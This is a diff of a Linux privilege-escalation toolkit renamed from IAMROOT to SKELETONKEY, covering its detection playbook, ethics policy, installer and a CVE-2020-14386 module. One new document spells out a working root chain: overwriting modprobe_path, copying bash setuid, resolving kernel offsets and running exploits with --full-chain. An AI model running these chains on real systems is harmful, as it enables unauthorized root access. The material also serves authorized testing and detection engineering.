+sudo skeletonkey --mitigate copy_fail

 # Revert mitigation (e.g., before applying the real kernel patch)
-sudo iamroot --cleanup copy_fail
+sudo skeletonkey --cleanup copy_fail
 ```

 Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
 ```bash
 # scan a host list via ssh
 for h in $(cat fleet.txt); do
-  ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
+  ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
 done | jq -s . > fleet-scan-$(date +%F).json

 # group by vulnerability
@@ -148,9 +148,9 @@ modification.

 | Rule | False-positive shape |
 |---|---|
-| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
-| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
-| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
+| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
+| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
+| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |

 The shipped rules are starting points. Tune per environment.

@@ -1,6 +1,6 @@
-# IAMROOT detection playbook
+# SKELETONKEY detection playbook

-Operational guide for blue teams using IAMROOT defensively. Pairs
+Operational guide for blue teams using SKELETONKEY defensively. Pairs
 with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
 make it part of your daily ops" guide.

@@ -8,15 +8,15 @@ make it part of your daily ops" guide.

 ```
              ┌─────────────┐
-              │  inventory  │  ← iamroot --list (what's bundled?)
+              │  inventory  │  ← skeletonkey --list (what's bundled?)
              └──────┬──────┘
                     ▼
              ┌─────────────┐
-              │    scan     │  ← iamroot --scan --json (what am I vulnerable to?)
+              │    scan     │  ← skeletonkey --scan --json (what am I vulnerable to?)
              └──────┬──────┘
                     ▼
              ┌─────────────┐
-              │  fleet scan │  ← iamroot-fleet-scan.sh hosts.txt
+              │  fleet scan │  ← skeletonkey-fleet-scan.sh hosts.txt
              └──────┬──────┘
                     ▼
        ┌────────────┼────────────┐
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
        └────────────┼────────────┘
                     ▼
              ┌─────────────┐
-              │   monitor   │  ← ausearch -k iamroot-* / SIEM alerts
+              │   monitor   │  ← ausearch -k skeletonkey-* / SIEM alerts
              └─────────────┘
 ```

@@ -39,17 +39,17 @@ make it part of your daily ops" guide.

 ```bash
 # Daily/weekly hygiene check
-sudo iamroot --scan
+sudo skeletonkey --scan

 # If anything's VULNERABLE, deploy detections + apply mitigation
-sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo augenrules --load
-sudo iamroot --mitigate copy_fail   # or whichever module fired
+sudo skeletonkey --mitigate copy_fail   # or whichever module fired
 ```

 ### Small fleet (~10-100 hosts, SSH-reachable)

-Use `tools/iamroot-fleet-scan.sh`:
+Use `tools/skeletonkey-fleet-scan.sh`:

 ```bash
 # Hosts list — one per line; user@host:port supported
@@ -61,8 +61,8 @@ ops@db-01:2222
 EOF

 # Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
-./iamroot-fleet-scan.sh \
-    --binary ./iamroot \
+./skeletonkey-fleet-scan.sh \
+    --binary ./skeletonkey \
    --ssh-key ~/.ssh/ops_key \
    --parallel 8 \
    hosts.txt > fleet-scan-$(date +%F).json
@@ -95,7 +95,7 @@ Output shape:

 ### Larger fleet (>100 hosts)

-`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
+`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
 fleets too large for SSH-fan-out, wrap it in your config-management
 tool of choice:

@@ -108,22 +108,22 @@ tool of choice:
 Sample Ansible task:

 ```yaml
- name: scan with iamroot
+- name: scan with skeletonkey
  copy:
-    src: iamroot
-    dest: /tmp/iamroot
+    src: skeletonkey
+    dest: /tmp/skeletonkey
    mode: '0755'
 - name: run --scan --json
-  command: /tmp/iamroot --scan --json --no-color
+  command: /tmp/skeletonkey --scan --json --no-color
  register: scan
  changed_when: false
-  failed_when: false        # iamroot exit codes are semantic, not errors
+  failed_when: false        # skeletonkey exit codes are semantic, not errors
 - name: collect
  set_fact:
-    iamroot_scan: "{{ scan.stdout | from_json }}"
+    skeletonkey_scan: "{{ scan.stdout | from_json }}"
 - name: cleanup
  file:
-    path: /tmp/iamroot
+    path: /tmp/skeletonkey
    state: absent
 ```

@@ -133,46 +133,46 @@ Sample Ansible task:

 ```
 # splunk input config (inputs.conf)
-[script:///opt/iamroot/iamroot-cron-scan.sh]
+[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
 interval = 86400
-source = iamroot
-sourcetype = iamroot:scan
+source = skeletonkey
+sourcetype = skeletonkey:scan
 ```

-`iamroot-cron-scan.sh`:
+`skeletonkey-cron-scan.sh`:

 ```bash
 #!/bin/bash
-/usr/local/bin/iamroot --scan --json --no-color
+/usr/local/bin/skeletonkey --scan --json --no-color
 ```

 Search the indexed events:

 ```spl
-index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
+index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
 | stats count by host modules{}.cve
 ```

 ### Elastic / OpenSearch

 Filebeat module reading the per-host scan JSON files (one per day),
-indexed into an `iamroot-*` index pattern. Standard Kibana
+indexed into an `skeletonkey-*` index pattern. Standard Kibana
 visualization on `modules.cve` over time tracks vulnerability lifecycle.

 ### Sigma → your platform

 ```bash
 # Ship Sigma rules into your platform
-iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
+skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
 # Convert to your target (Sentinel, Elastic, etc.) via sigmac
-sigmac -t elastic /etc/sigma/iamroot.yml
+sigmac -t elastic /etc/sigma/skeletonkey.yml
 ```

 ## Day-to-day operational shape

 ### What "good" looks like in the SIEM

- Daily `iamroot --scan --json` from every host indexed
+- Daily `skeletonkey --scan --json` from every host indexed
 - Trend dashboard: count of VULNERABLE results by CVE over time
 - Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
  patched-mainline bugs, 24h for actively-exploited)
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml

 ### Auditd events from the embedded rules

-After deploying `iamroot --detect-rules --format=auditd`:
+After deploying `skeletonkey --detect-rules --format=auditd`:

 ```bash
 # By module key
-sudo ausearch -k iamroot-copy-fail -ts today
-sudo ausearch -k iamroot-dirty-pipe -ts today
-sudo ausearch -k iamroot-pwnkit -ts today
-sudo ausearch -k iamroot-nf-tables-userns -ts today
-sudo ausearch -k iamroot-overlayfs -ts today
+sudo ausearch -k skeletonkey-copy-fail -ts today
+sudo ausearch -k skeletonkey-dirty-pipe -ts today
+sudo ausearch -k skeletonkey-pwnkit -ts today
+sudo ausearch -k skeletonkey-nf-tables-userns -ts today
+sudo ausearch -k skeletonkey-overlayfs -ts today

-# Anything iamroot-tagged in the last hour
-sudo ausearch -k 'iamroot-*' -ts recent
+# Anything skeletonkey-tagged in the last hour
+sudo ausearch -k 'skeletonkey-*' -ts recent

 # Forward to syslog (rsyslog example)
-# /etc/rsyslog.d/iamroot.conf:
-:msg, contains, "iamroot-" @@your-siem.example.com:514
+# /etc/rsyslog.d/skeletonkey.conf:
+:msg, contains, "skeletonkey-" @@your-siem.example.com:514
 ```

 ### When a VULNERABLE result fires
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
 │
 ├── Q: Can I patch the underlying kernel / package?
 │   ├── YES → schedule patch window. In the meantime:
-│   │        iamroot --mitigate X (if supported)
+│   │        skeletonkey --mitigate X (if supported)
 │   │        Verify auditd rule for X is loaded.
 │   │        Monitor for the rule key.
 │   └── NO (legacy LTS, embedded device, prod freeze) →
-│            iamroot --mitigate X (essential)
+│            skeletonkey --mitigate X (essential)
 │            Compensating control: tighten LSM (SELinux/AppArmor)
 │            Document in risk register
 │
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
 patch has rolled out fleet-wide):

 ```bash
-sudo iamroot --cleanup copy_fail
+sudo skeletonkey --cleanup copy_fail
 # OR manually:
 sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
 sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf

 | Rule key | False positive | Fix |
 |---|---|---|
-| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
-| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
-| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
-| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
-| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
+| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
+| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
+| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
+| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
+| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |

 ## Pre-patch quarantine pattern

@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:

 ```bash
 # Stage 1: detect
-sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
+sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'

 # Stage 2: mitigate (where supported)
-sudo iamroot --mitigate <module>
+sudo skeletonkey --mitigate <module>

 # Stage 3: monitor — auditd rules already deployed
-sudo ausearch -k 'iamroot-*' -ts today | grep <module>
+sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>

 # Stage 4: contain — temporarily restrict the trigger surface
 # e.g., for nf_tables CVE-2024-1086:
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1

 ## Maintenance contract

-When IAMROOT ships a new module:
+When SKELETONKEY ships a new module:

 1. CI test passes on at least one vulnerable + patched kernel pair
 2. Detection rules ship alongside (auditd + sigma minimum)
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.

 ## When you find a new false positive

-File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
+File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
 - The exact ausearch line that fired
 - The legitimate process that produced it
 - Distro / kernel version
@@ -2,24 +2,24 @@

 ## Acceptable use

-IAMROOT is intended for:
+SKELETONKEY is intended for:

 1. **Authorized red-team / pentest engagements.** You have a written
   scope, signed by someone who can authorize testing on the target
   systems.
 2. **Defensive teams testing detection coverage.** You're using
-   IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
+   SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
   expected.
 3. **Security researchers studying historical LPEs.** You're reading
   the code, running it in your own VMs, learning how the primitives
   actually work end-to-end.
 4. **Build engineers verifying patch coverage.** You're running
-   `iamroot --scan` against your fleet's golden images to confirm
+   `skeletonkey --scan` against your fleet's golden images to confirm
   each known CVE shows up as patched.

 ## Not-acceptable use

-IAMROOT should not be used:
+SKELETONKEY should not be used:

 1. On systems you do not own and have not been authorized to test
 2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
 4. To build a worm, scanner, or any tool that automatically targets
   systems at scale without per-target authorization

-By using IAMROOT you assert that your use falls into the
+By using SKELETONKEY you assert that your use falls into the
 acceptable-use cases above.

 ## Why this is publishable

-Every CVE bundled in IAMROOT is:
+Every CVE bundled in SKELETONKEY is:

 - **Already patched** in upstream mainline kernel
 - **Already published** in NVD or distro security trackers
 - **Already covered** by existing public PoCs

-IAMROOT does not introduce new offensive capability. It bundles,
+SKELETONKEY does not introduce new offensive capability. It bundles,
 documents, and CI-tests what is already public — and ships the
 detection signatures defenders need to spot it.

@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.

 ## Disclosure

-If you find a bug in IAMROOT itself (incorrect detection, broken
+If you find a bug in SKELETONKEY itself (incorrect detection, broken
 exploit on a kernel where it should work, missing a backport in the
 range metadata): file a public GitHub issue.

 If you find a **new 0-day kernel LPE while inspired by reading
-IAMROOT code**: please disclose it responsibly to the kernel
+SKELETONKEY code**: please disclose it responsibly to the kernel
 security team (`security@kernel.org`) and the affected distros
 *before* writing a public PoC. Once upstream patch ships and a CVE
-is assigned, IAMROOT will gladly accept the module.
+is assigned, SKELETONKEY will gladly accept the module.

 ## Persistence and stealth are out of scope

 `--exploit-backdoor` in the copy_fail module overwrites a
 `/etc/passwd` line with a `uid=0` shell account. This is **overt**:

- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
- It's covered by the auditd rules IAMROOT ships
+- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
+- It's covered by the auditd rules SKELETONKEY ships
 - `--cleanup-backdoor` restores the original line

 If you're looking for evasion, persistence, or stealth: not here.
-Use a real C2 framework if you have authorization to do so. IAMROOT
+Use a real C2 framework if you have authorization to do so. SKELETONKEY
 stops at "demonstrate that the bug works."
@@ -0,0 +1,171 @@
+# SKELETONKEY — kernel offset resolution
+
+The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
+write, slab UAF, etc.). The default `--exploit` returns
+`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
+bar means we don't claim root unless we empirically have it.
+
+`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
+converts the primitive to a real root pop via `modprobe_path` overwrite:
+
+```
+attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
+        → execve("/tmp/skeletonkey-trig-<pid>")     # unknown-format binary
+        → kernel call_modprobe()                # spawns modprobe_path as init
+        → /tmp/skeletonkey-mp-<pid>.sh runs as root
+        → cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
+        → caller exec /tmp/skeletonkey-pwn-<pid> -p
+        → root shell
+```
+
+This requires resolving `&modprobe_path` (a single kernel virtual
+address) at runtime.
+
+## Resolution chain
+
+`core/offsets.c` tries four sources in order, accepting the first
+non-zero value for each field:
+
+1. **Environment variables** — operator override.
+   - `SKELETONKEY_KBASE=0x...`
+   - `SKELETONKEY_MODPROBE_PATH=0x...`
+   - `SKELETONKEY_POWEROFF_CMD=0x...`
+   - `SKELETONKEY_INIT_TASK=0x...`
+   - `SKELETONKEY_INIT_CRED=0x...`
+   - `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
+   - `SKELETONKEY_CRED_OFFSET_EFF=0x...`
+   - `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
+
+2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
+   OR you're already root. On modern distros (kptr_restrict=1 by
+   default) non-root reads return all zeros and this source is
+   silently skipped.
+
+3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
+   (older Debian, some Alma builds). Unaffected by `kptr_restrict`.
+
+4. **Embedded table** — keyed by `uname -r` glob, entries are
+   offsets *relative to `_text`* (KASLR-safe). Applied on top of a
+   kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
+   to honor the no-fabricated-offsets rule. Operators who verify
+   offsets on a specific kernel build are encouraged to upstream
+   entries.
+
+## How operators populate offsets
+
+### One-shot (preferred for ad-hoc use)
+
+```bash
+# Look up on a kernel you control (as root, once):
+sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
+
+# Use the addresses inline:
+SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
+  skeletonkey --exploit nf_tables --i-know --full-chain
+```
+
+### Automated dump (preferred for upstreaming)
+
+`skeletonkey --dump-offsets` walks the four-source chain itself and emits
+a ready-to-paste C struct entry on stdout:
+
+```bash
+sudo skeletonkey --dump-offsets
+# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
+#  * Host kernel: 5.15.0-56-generic  distro=ubuntu
+#  * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
+#  * Paste this entry into kernel_table[] in core/offsets.c.
+#  */
+# { .release_glob       = "5.15.0-56-generic",
+#   .distro_match       = "ubuntu",
+#   .rel_modprobe_path  = 0x148e480,
+#   .rel_poweroff_cmd   = 0x148e3a0,
+#   .rel_init_task      = 0x1c11dc0,
+#   .rel_init_cred      = 0x1e0c460,
+#   .cred_offset_real   = 0x738,
+#   .cred_offset_eff    = 0x740,
+# },
+```
+
+Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
+and the new entry covers every SKELETONKEY user on that kernel. Open a
+PR to upstream it.
+
+### Per-host (write System.map readable)
+
+```bash
+sudo chmod 0644 /boot/System.map-$(uname -r)
+skeletonkey --exploit nf_tables --i-know --full-chain
+```
+
+### Per-boot (lower kptr_restrict)
+
+```bash
+sudo sysctl kernel.kptr_restrict=0
+skeletonkey --exploit nf_tables --i-know --full-chain
+```
+
+Note: each of these requires root *once*. For a true non-root LPE on
+an unfamiliar host you need either an info-leak module (EntryBleed
+gives kbase) plus an embedded table entry, or out-of-band offset
+acquisition.
+
+## Adding entries to the embedded table
+
+In `core/offsets.c`, `kernel_table[]` carries the schema:
+
+```c
+{ .release_glob       = "5.15.0-25-generic",
+  .distro_match       = "ubuntu",
+  .rel_modprobe_path  = 0x148e480,    // & _text
+  .rel_poweroff_cmd   = 0x148e3a0,
+  .rel_init_task      = 0x1c11dc0,
+  .rel_init_cred      = 0x1e0c460,
+  .cred_offset_real   = 0x758,
+  .cred_offset_eff    = 0x760, },
+```
+
+To populate, on the target kernel:
+
+```bash
+# Get _text:
+_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
+
+# Get the symbols you want, subtract _text:
+for sym in modprobe_path poweroff_cmd init_task init_cred; do
+  addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
+  printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
+done
+```
+
+Open a PR with the verified entry and a one-line note on which kernel
+build + distro you tested against. Upstreamed entries make the
+`--full-chain` path work out-of-the-box for that build.
+
+## Verifying success
+
+The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
+sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
+payload. The finisher polls for this file with `S_ISUID` mode set
+for up to 3 seconds. Only when the sentinel materializes does the
+module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
+the setuid bash to drop a root shell.
+
+If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
+with a diagnostic. Reasons it might fail even with offsets resolved:
+
+- The arb-write didn't actually land (slab adjacency lost, value-pointer
+  field at unexpected offset, race not won)
+- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
+  embedded-table entry stale)
+- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
+- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
+  invocation
+
+## Why `modprobe_path` and not `current->cred->uid = 0`?
+
+The cred-overwrite finisher needs an arb-READ primitive too — to walk
+the task linked list from `init_task` and find the calling process's
+`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
+not a paired read. `modprobe_path` only needs a write to a single
+known global, which is why it's the default finisher.
@@ -1,19 +1,19 @@
 #!/usr/bin/env bash
-# IAMROOT one-shot installer.
+# SKELETONKEY one-shot installer.
 #
 # Usage:
-#   curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
+#   curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
 #
 # Or with explicit version:
-#   IAMROOT_VERSION=v0.1.0 curl ... | sh
+#   SKELETONKEY_VERSION=v0.1.0 curl ... | sh
 #
 # Or install to a different prefix:
-#   IAMROOT_PREFIX=$HOME/.local/bin curl ... | sh
+#   SKELETONKEY_PREFIX=$HOME/.local/bin curl ... | sh
 #
 # Environment:
-#   IAMROOT_VERSION   release tag (default: latest)
-#   IAMROOT_PREFIX    install dir   (default: /usr/local/bin if writable, else error)
-#   IAMROOT_REPO      override repo (default: KaraZajac/IAMROOT)
+#   SKELETONKEY_VERSION   release tag (default: latest)
+#   SKELETONKEY_PREFIX    install dir   (default: /usr/local/bin if writable, else error)
+#   SKELETONKEY_REPO      override repo (default: KaraZajac/SKELETONKEY)
 #
 # Exit codes:
 #   0 — installed successfully
@@ -21,9 +21,9 @@

 set -euo pipefail

-REPO="${IAMROOT_REPO:-KaraZajac/IAMROOT}"
-VERSION="${IAMROOT_VERSION:-latest}"
-PREFIX="${IAMROOT_PREFIX:-/usr/local/bin}"
+REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
+VERSION="${SKELETONKEY_VERSION:-latest}"
+PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"

 log()   { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
 ok()    { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
@@ -40,11 +40,11 @@ log "detected arch: $target"

 # Resolve version → download URL
 if [ "$VERSION" = "latest" ]; then
-    url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}"
-    sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256"
+    url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}"
+    sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256"
 else
-    url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}"
-    sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256"
+    url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}"
+    sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
 fi
 log "downloading from: $url"

@@ -56,18 +56,18 @@ fi
 tmp=$(mktemp -d)
 trap 'rm -rf "$tmp"' EXIT

-if ! curl -fsSLo "$tmp/iamroot" "$url"; then
+if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
    fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
 fi

 # Verify checksum if available
-if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
+if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
    # The .sha256 file has the binary's original name; normalize for our local copy
-    expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
+    expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
    if command -v sha256sum >/dev/null 2>&1; then
-        actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
+        actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
    elif command -v shasum >/dev/null 2>&1; then
-        actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
+        actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
    else
        actual=""
        log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +83,17 @@ else
    log "no checksum file at $sha_url — skipping verification"
 fi

-chmod +x "$tmp/iamroot"
+chmod +x "$tmp/skeletonkey"

 # Install. Try $PREFIX directly; if not writable, sudo.
-target_path="$PREFIX/iamroot"
+target_path="$PREFIX/skeletonkey"
 if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
-    mv "$tmp/iamroot" "$target_path"
+    mv "$tmp/skeletonkey" "$target_path"
 elif command -v sudo >/dev/null 2>&1; then
    log "$PREFIX needs sudo; you may be prompted for password"
-    sudo mv "$tmp/iamroot" "$target_path"
+    sudo mv "$tmp/skeletonkey" "$target_path"
 else
-    fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
+    fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
 fi

 ok "installed: $target_path"
@@ -104,10 +104,10 @@ cat >&2 <<EOF
 [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md

 Quickstart:
-    sudo iamroot --scan                                 # what's this box vulnerable to?
-    sudo iamroot --audit                                # broader system hygiene
-    sudo iamroot --detect-rules --format=auditd \\
-       | sudo tee /etc/audit/rules.d/99-iamroot.rules   # deploy detection rules
+    sudo skeletonkey --scan                                 # what's this box vulnerable to?
+    sudo skeletonkey --audit                                # broader system hygiene
+    sudo skeletonkey --detect-rules --format=auditd \\
+       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules   # deploy detection rules

-See \`iamroot --help\` for all commands.
+See \`skeletonkey --help\` for all commands.
 EOF
@@ -20,7 +20,7 @@ reachable.

 ## Decision needed before implementing

-Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
+Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
 yes, this module ships. If we restrict to "default Linux user
 account, no namespace tricks," this module is out of scope.

@@ -0,0 +1,28 @@
+# NOTICE — af_packet2 (CVE-2020-14386)
+
+## Vulnerability
+
+**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
+(`maclen = skb_network_offset(skb)` when network header precedes
+maclen) → 8-byte heap OOB write at the start of the next slab object.
+
+## Research credit
+
+Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
+September 2020.
+
+Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
+
+Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
+Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
+
+## SKELETONKEY role
+
+Sibling of CVE-2017-7308; same subsystem, different code path.
+Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
+PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
+attempts the Or-Cohen-style sk_buff data-pointer hijack through
+the shared finisher.
+
+Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
+module so detection signatures dedupe cleanly.
@@ -1,12 +0,0 @@
-/*
- * af_packet2_cve_2020_14386 — IAMROOT module registry hook
- */
-
-#ifndef AF_PACKET2_IAMROOT_MODULES_H
-#define AF_PACKET2_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_packet2_module;
-
-#endif
@@ -1,19 +1,32 @@
 /*
- * af_packet2_cve_2020_14386 — IAMROOT module
+ * af_packet2_cve_2020_14386 — SKELETONKEY module
 *
 * AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
 * write-before-allocation. Different bug from CVE-2017-7308 — same
 * subsystem, different code path (rx side rather than ring setup),
 * later introduction. Discovered by Or Cohen (2020).
 *
- * STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
- * vulnerable codepath (tpacket_rcv) and fires the underflow with a
- * crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
- * skb spray groom alongside. We stop short of the full cred-overwrite
- * chain (which Or Cohen's public PoC implements with kernel-version-
- * specific offsets and a pid_namespace cross-cache overwrite). We do
- * not bake offsets into iamroot. The return value is honest about
- * what landed (EXPLOIT_FAIL: primitive fired but no root).
+ * STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
+ *   - Default (no --full-chain): the exploit() entry point reaches the
+ *     vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
+ *     with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
+ *     skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
+ *     behavior — kernel-version-agnostic, no offsets baked in).
+ *   - With --full-chain: after the underflow lands, we resolve kernel
+ *     offsets (env → kallsyms → System.map → embedded table) and run
+ *     an Or-Cohen-style sk_buff-data-pointer hijack through the shared
+ *     skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
+ *     LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
+ *     us a single 8-byte heap-OOB write into the head of the
+ *     adjacent-page slab object; we spray sk_buffs so that next-page
+ *     slot IS an sk_buff and the write corrupts skb->data, which then
+ *     redirects skb_copy_bits()'s destination on the next received
+ *     packet. The full primitive composition (8-byte write → skb->data
+ *     forge → controlled-payload rx → arb-write at modprobe_path) is
+ *     race-y on stock kernels because the adjacent-slot landing is
+ *     probabilistic. On hosts where the spray doesn't groom cleanly,
+ *     the finisher's sentinel check correctly reports failure rather
+ *     than silently lying about success.
 *
 * Affected: kernel 4.6+ until backports:
 *   5.8.x  : K >= 5.8.7
@@ -30,9 +43,11 @@
 * before backport. Embedded systems with 4.x kernels still in production.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"

 #include <stdio.h>
 #include <stdlib.h>
@@ -60,7 +75,7 @@
 #endif

